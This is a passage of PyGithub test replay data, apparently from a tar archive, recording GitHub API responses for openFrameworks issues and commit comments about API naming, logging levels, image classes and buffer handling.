modules","user":{"login":"danomatika","id":480637,"avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","url":"https://api.github.com/users/danomatika","html_url":"https://github.com/danomatika","followers_url":"https://api.github.com/users/danomatika/followers","following_url":"https://api.github.com/users/danomatika/following","gists_url":"https://api.github.com/users/danomatika/gists{/gist_id}","starred_url":"https://api.github.com/users/danomatika/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/danomatika/subscriptions","organizations_url":"https://api.github.com/users/danomatika/orgs","repos_url":"https://api.github.com/users/danomatika/repos","events_url":"https://api.github.com/users/danomatika/events{/privacy}","received_events_url":"https://api.github.com/users/danomatika/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-02-23T04:19:48Z","updated_at":"2012-02-23T04:19:48Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Currently ofGetLogLevel returns the global log level aka for the \"OF\" module. It would be nice to be able to get the log level for user modules via:\r\n\r\n ofLogLevel level = ofGetLogLevel(\"myLogModule\");\r\n\r\nIt would as simple as adding the module as a string variable with a default of \"OF\".\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/928","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/928/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/928/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/928/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/928","id":3351170,"number":928,"title":"no ofGetBackground()","user":{"login":"danomatika","id":480637,"avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","url":"https://api.github.com/users/danomatika","html_url":"https://github.com/danomatika","followers_url":"https://api.github.com/users/danomatika/followers","following_url":"https://api.github.com/users/danomatika/following","gists_url":"https://api.github.com/users/danomatika/gists{/gist_id}","starred_url":"https://api.github.com/users/danomatika/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/danomatika/subscriptions","organizations_url":"https://api.github.com/users/danomatika/orgs","repos_url":"https://api.github.com/users/danomatika/repos","events_url":"https://api.github.com/users/danomatika/events{/privacy}","received_events_url":"https://api.github.com/users/danomatika/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-02-23T03:46:32Z","updated_at":"2012-02-23T03:46:32Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Currently there is a ofBgColorPtr(), but maybe it's nice to have a ofGetBackground() that returns an ofColor object or a reference to one."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/926","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/926/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/926/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/926/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/926","id":3341020,"number":926,"title":"ofGetViewportWidth/Height returns 0 at startup","user":{"login":"danomatika","id":480637,"avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","url":"https://api.github.com/users/danomatika","html_url":"https://github.com/danomatika","followers_url":"https://api.github.com/users/danomatika/followers","following_url":"https://api.github.com/users/danomatika/following","gists_url":"https://api.github.com/users/danomatika/gists{/gist_id}","starred_url":"https://api.github.com/users/danomatika/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/danomatika/subscriptions","organizations_url":"https://api.github.com/users/danomatika/orgs","repos_url":"https://api.github.com/users/danomatika/repos","events_url":"https://api.github.com/users/danomatika/events{/privacy}","received_events_url":"https://api.github.com/users/danomatika/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-02-22T19:12:56Z","updated_at":"2012-02-22T19:12:56Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"ofGetViewportWidth/Height returns 0 is called in an object destructor, while ofGetWidth/Height do not. Could the ofGetViewport size be set to the ofGetWidth/Height size instead of 0 be default?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/925","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/925/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/925/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/925/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/925","id":3324501,"number":925,"title":"ofImage has type as int, public vars, & missing getBPP, etc","user":{"login":"danomatika","id":480637,"avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","url":"https://api.github.com/users/danomatika","html_url":"https://github.com/danomatika","followers_url":"https://api.github.com/users/danomatika/followers","following_url":"https://api.github.com/users/danomatika/following","gists_url":"https://api.github.com/users/danomatika/gists{/gist_id}","starred_url":"https://api.github.com/users/danomatika/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/danomatika/subscriptions","organizations_url":"https://api.github.com/users/danomatika/orgs","repos_url":"https://api.github.com/users/danomatika/repos","events_url":"https://api.github.com/users/danomatika/events{/privacy}","received_events_url":"https://api.github.com/users/danomatika/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-02-22T00:28:08Z","updated_at":"2012-02-22T00:28:08Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"I noticed a few things when working with ofImage:\r\n\r\n* ofImage has a type variable for the image type but this is an int, as opposed to the ofImageType enum, so it's annoying to force convert ...\r\n* the width, height, & bpp variables are public, they should be protected with getters/setters\r\n* there isn't a getBytesPerPixel, you have to get the pixel reference then call getBytesPerPixel ..."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/920","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/920/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/920/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/920/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/920","id":3248309,"number":920,"title":"Transform stack","user":{"login":"AugusteBonnin","id":1442658,"avatar_url":"https://secure.gravatar.com/avatar/cbf7aa7c655d3652170984c9aa497a4c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"cbf7aa7c655d3652170984c9aa497a4c","url":"https://api.github.com/users/AugusteBonnin","html_url":"https://github.com/AugusteBonnin","followers_url":"https://api.github.com/users/AugusteBonnin/followers","following_url":"https://api.github.com/users/AugusteBonnin/following","gists_url":"https://api.github.com/users/AugusteBonnin/gists{/gist_id}","starred_url":"https://api.github.com/users/AugusteBonnin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/AugusteBonnin/subscriptions","organizations_url":"https://api.github.com/users/AugusteBonnin/orgs","repos_url":"https://api.github.com/users/AugusteBonnin/repos","events_url":"https://api.github.com/users/AugusteBonnin/events{/privacy}","received_events_url":"https://api.github.com/users/AugusteBonnin/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-02-16T09:39:46Z","updated_at":"2012-02-16T09:39:46Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"What about having our own transform stack , in order to:\r\n-avoid to recompute globalTransformMatrix in each ofNode\r\n-could use it when rendering with OpenGL ES 2.0 shaders , which do not support predefined matrix values as world (modelview), worldProjection , or world inverseTranspose (for normals)"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PaginatedList.testCustomPerPageWithNoUrlParams2.txt0000644000175100001660000202312714756101563030135 0ustar00runnerdockerhttps GET api.github.com None /repos/openframeworks/openFrameworks/comments?per_page=100 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4876'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '164025'), ('server', 'GitHub.com'), ('last-modified', 'Wed, 19 Jun 2013 10:28:42 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last"'), ('etag', '"a3e035a1aeb9a4a31629a5537db4a857"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Wed, 19 Jun 2013 10:31:29 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/191434","html_url":"https://github.com/openframeworks/openFrameworks/commit/1fa80a4bc3a5e84e86d3447e64378fd7fd11b30f#commitcomment-191434","id":191434,"user":{"login":"hogiedoo","id":149423,"avatar_url":"https://secure.gravatar.com/avatar/636297ac6a7643e5dbe90804b6668722?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"636297ac6a7643e5dbe90804b6668722","url":"https://api.github.com/users/hogiedoo","html_url":"https://github.com/hogiedoo","followers_url":"https://api.github.com/users/hogiedoo/followers","following_url":"https://api.github.com/users/hogiedoo/following{/other_user}","gists_url":"https://api.github.com/users/hogiedoo/gists{/gist_id}","starred_url":"https://api.github.com/users/hogiedoo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hogiedoo/subscriptions","organizations_url":"https://api.github.com/users/hogiedoo/orgs","repos_url":"https://api.github.com/users/hogiedoo/repos","events_url":"https://api.github.com/users/hogiedoo/events{/privacy}","received_events_url":"https://api.github.com/users/hogiedoo/received_events","type":"User"},"position":106,"line":539,"path":"libs/openFrameworks/app/ofAppGlutWindow.cpp","commit_id":"1fa80a4bc3a5e84e86d3447e64378fd7fd11b30f","created_at":"2010-11-11T16:21:10Z","updated_at":"2010-11-11T16:21:10Z","body":"Why is mouseDragged no longer being called, and mouseReleased is being called instead? This commit breaks previous behavior."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/195170","html_url":"https://github.com/openframeworks/openFrameworks/commit/4d4a707a64e52d2fa57428f85c1a3fb0dcc09dc1#commitcomment-195170","id":195170,"user":{"login":"cyphunk","id":119662,"avatar_url":"https://secure.gravatar.com/avatar/4f9899a028a87ab8991049808f91a717?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"4f9899a028a87ab8991049808f91a717","url":"https://api.github.com/users/cyphunk","html_url":"https://github.com/cyphunk","followers_url":"https://api.github.com/users/cyphunk/followers","following_url":"https://api.github.com/users/cyphunk/following{/other_user}","gists_url":"https://api.github.com/users/cyphunk/gists{/gist_id}","starred_url":"https://api.github.com/users/cyphunk/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/cyphunk/subscriptions","organizations_url":"https://api.github.com/users/cyphunk/orgs","repos_url":"https://api.github.com/users/cyphunk/repos","events_url":"https://api.github.com/users/cyphunk/events{/privacy}","received_events_url":"https://api.github.com/users/cyphunk/received_events","type":"User"},"position":13,"line":674,"path":"libs/openFrameworks/graphics/ofGraphics.cpp","commit_id":"4d4a707a64e52d2fa57428f85c1a3fb0dcc09dc1","created_at":"2010-11-16T18:02:21Z","updated_at":"2010-11-16T18:20:46Z","body":"this will break various external libs, and their examples, and prior code. it is easy to fix but I hope that we wont see a slew of such name changes. Even the change is questionable. why is ofSetColor for grayscale? Perhaps in the future the linguistic gods will determine that we must call that ofSetGrayColor?? A lot of name esthetic modifications like this should be lumped into a major release. Which perhaps this is? A major release should include a lot of collaboration from those that make external libs and be released with a warning \"this might mindlessly break your code\". Or maybe i am missing something and SetColor() is commonly used for gray scale in most other image processing libs, or?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/195310","html_url":"https://github.com/openframeworks/openFrameworks/commit/4d4a707a64e52d2fa57428f85c1a3fb0dcc09dc1#commitcomment-195310","id":195310,"user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following{/other_user}","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"position":13,"line":674,"path":"libs/openFrameworks/graphics/ofGraphics.cpp","commit_id":"4d4a707a64e52d2fa57428f85c1a3fb0dcc09dc1","created_at":"2010-11-16T20:37:18Z","updated_at":"2010-11-16T20:37:18Z","body":"Hi - Yes - in processing ( a very similar library ) setColor(int gray) is used quite heavily. We felt that hex is rarely used and we wanted more parity with the Processing syntax. We didn't take this decision lightly and there won't be a ton of other name changes like this. Also this is meant for the 007 release so we will make sure to point it out and have all the examples and docs updated. "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/201576","html_url":"https://github.com/openframeworks/openFrameworks/commit/4d4a707a64e52d2fa57428f85c1a3fb0dcc09dc1#commitcomment-201576","id":201576,"user":{"login":"cyphunk","id":119662,"avatar_url":"https://secure.gravatar.com/avatar/4f9899a028a87ab8991049808f91a717?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"4f9899a028a87ab8991049808f91a717","url":"https://api.github.com/users/cyphunk","html_url":"https://github.com/cyphunk","followers_url":"https://api.github.com/users/cyphunk/followers","following_url":"https://api.github.com/users/cyphunk/following{/other_user}","gists_url":"https://api.github.com/users/cyphunk/gists{/gist_id}","starred_url":"https://api.github.com/users/cyphunk/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/cyphunk/subscriptions","organizations_url":"https://api.github.com/users/cyphunk/orgs","repos_url":"https://api.github.com/users/cyphunk/repos","events_url":"https://api.github.com/users/cyphunk/events{/privacy}","received_events_url":"https://api.github.com/users/cyphunk/received_events","type":"User"},"position":13,"line":674,"path":"libs/openFrameworks/graphics/ofGraphics.cpp","commit_id":"4d4a707a64e52d2fa57428f85c1a3fb0dcc09dc1","created_at":"2010-11-24T00:27:04Z","updated_at":"2010-11-24T00:27:04Z","body":"Thanks for the response. Yes I guess the choice makes sense. "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/245603","html_url":"https://github.com/openframeworks/openFrameworks/commit/3fd6f5ede33c896dcff458b3325b44dd160f9101#commitcomment-245603","id":245603,"user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following{/other_user}","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"position":null,"line":null,"path":"","commit_id":"3fd6f5ede33c896dcff458b3325b44dd160f9101","created_at":"2011-01-19T23:07:02Z","updated_at":"2011-01-19T23:07:02Z","body":"hmm maybe we should also check if last byte is null before adding?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/245609","html_url":"https://github.com/openframeworks/openFrameworks/commit/3fd6f5ede33c896dcff458b3325b44dd160f9101#commitcomment-245609","id":245609,"user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following{/other_user}","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"position":null,"line":null,"path":"","commit_id":"3fd6f5ede33c896dcff458b3325b44dd160f9101","created_at":"2011-01-19T23:09:38Z","updated_at":"2011-01-19T23:09:38Z","body":"yes haven't commited this yet, cause that will affect binaries. i was thinking something like:\r\n\r\nstring getText()\r\n\r\nor having a binary/text flag for the buffer"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/245614","html_url":"https://github.com/openframeworks/openFrameworks/commit/3fd6f5ede33c896dcff458b3325b44dd160f9101#commitcomment-245614","id":245614,"user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following{/other_user}","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"position":null,"line":null,"path":"","commit_id":"3fd6f5ede33c896dcff458b3325b44dd160f9101","created_at":"2011-01-19T23:14:18Z","updated_at":"2011-01-19T23:14:18Z","body":"ahh - I made an issue to keep track of this:\r\nhttps://github.com/openframeworks/openFrameworks/issues/issue/409"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/245619","html_url":"https://github.com/openframeworks/openFrameworks/commit/3fd6f5ede33c896dcff458b3325b44dd160f9101#commitcomment-245619","id":245619,"user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following{/other_user}","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"position":null,"line":null,"path":"","commit_id":"3fd6f5ede33c896dcff458b3325b44dd160f9101","created_at":"2011-01-19T23:16:29Z","updated_at":"2011-01-19T23:16:29Z","body":"maybe we could fix the geometry shader to be able to load from ofBuffer checking the number of bytes instead of just using .getBuffer() \r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/245623","html_url":"https://github.com/openframeworks/openFrameworks/commit/3fd6f5ede33c896dcff458b3325b44dd160f9101#commitcomment-245623","id":245623,"user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following{/other_user}","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"position":null,"line":null,"path":"","commit_id":"3fd6f5ede33c896dcff458b3325b44dd160f9101","created_at":"2011-01-19T23:19:28Z","updated_at":"2011-01-19T23:19:28Z","body":"i was going to fix this:\r\n\r\nstring getText\r\nchar * getBinaryBuffer\r\n\r\nwe always add a 0 at the end but the size is:\r\n\r\nreturn buffer.size()-1\r\n\r\nthat way both of them are correct"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/246362","html_url":"https://github.com/openframeworks/openFrameworks/commit/1ccc0de6f74c1a6cb51eed38b761de88a39b5595#commitcomment-246362","id":246362,"user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following{/other_user}","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"1ccc0de6f74c1a6cb51eed38b761de88a39b5595","created_at":"2011-01-20T17:48:38Z","updated_at":"2011-01-20T17:48:53Z","body":" buffer.resize(size+n+1,0);\n\n memcpy(&(buffer[0])+size,aux_buffer,n);\n\nis this right? \nits doing +1 in the while loop - shouldn't this just happen at the end?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/246371","html_url":"https://github.com/openframeworks/openFrameworks/commit/1ccc0de6f74c1a6cb51eed38b761de88a39b5595#commitcomment-246371","id":246371,"user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following{/other_user}","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"1ccc0de6f74c1a6cb51eed38b761de88a39b5595","created_at":"2011-01-20T17:52:23Z","updated_at":"2011-01-20T17:52:23Z","body":"Yes the result is the same and that way it avoids 1 resizing at the end and a possible reallocation"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/255446","html_url":"https://github.com/openframeworks/openFrameworks/commit/2fba18d74da032d820eaf030486a1dafeb5aaa7a#commitcomment-255446","id":255446,"user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following{/other_user}","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"2fba18d74da032d820eaf030486a1dafeb5aaa7a","created_at":"2011-01-30T02:48:36Z","updated_at":"2011-01-30T02:48:36Z","body":"note - I put the assimp stuff into the core. we need to compile it for linux and win"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/262764","html_url":"https://github.com/openframeworks/openFrameworks/commit/d0281913dbdc227faeba2fe989ce124ad65dda10#commitcomment-262764","id":262764,"user":{"login":"YeongJoo-Kim","id":604111,"avatar_url":"https://secure.gravatar.com/avatar/e3805241b205e8ed57f8c83ea850e6e3?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e3805241b205e8ed57f8c83ea850e6e3","url":"https://api.github.com/users/YeongJoo-Kim","html_url":"https://github.com/YeongJoo-Kim","followers_url":"https://api.github.com/users/YeongJoo-Kim/followers","following_url":"https://api.github.com/users/YeongJoo-Kim/following{/other_user}","gists_url":"https://api.github.com/users/YeongJoo-Kim/gists{/gist_id}","starred_url":"https://api.github.com/users/YeongJoo-Kim/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/YeongJoo-Kim/subscriptions","organizations_url":"https://api.github.com/users/YeongJoo-Kim/orgs","repos_url":"https://api.github.com/users/YeongJoo-Kim/repos","events_url":"https://api.github.com/users/YeongJoo-Kim/events{/privacy}","received_events_url":"https://api.github.com/users/YeongJoo-Kim/received_events","type":"User"},"position":5,"line":82,"path":"libs/openFrameworks/sound/ofSoundEffect.h","commit_id":"d0281913dbdc227faeba2fe989ce124ad65dda10","created_at":"2011-02-07T05:31:05Z","updated_at":"2011-02-07T05:31:05Z","body":"isfinite()/finite() is can not compile at 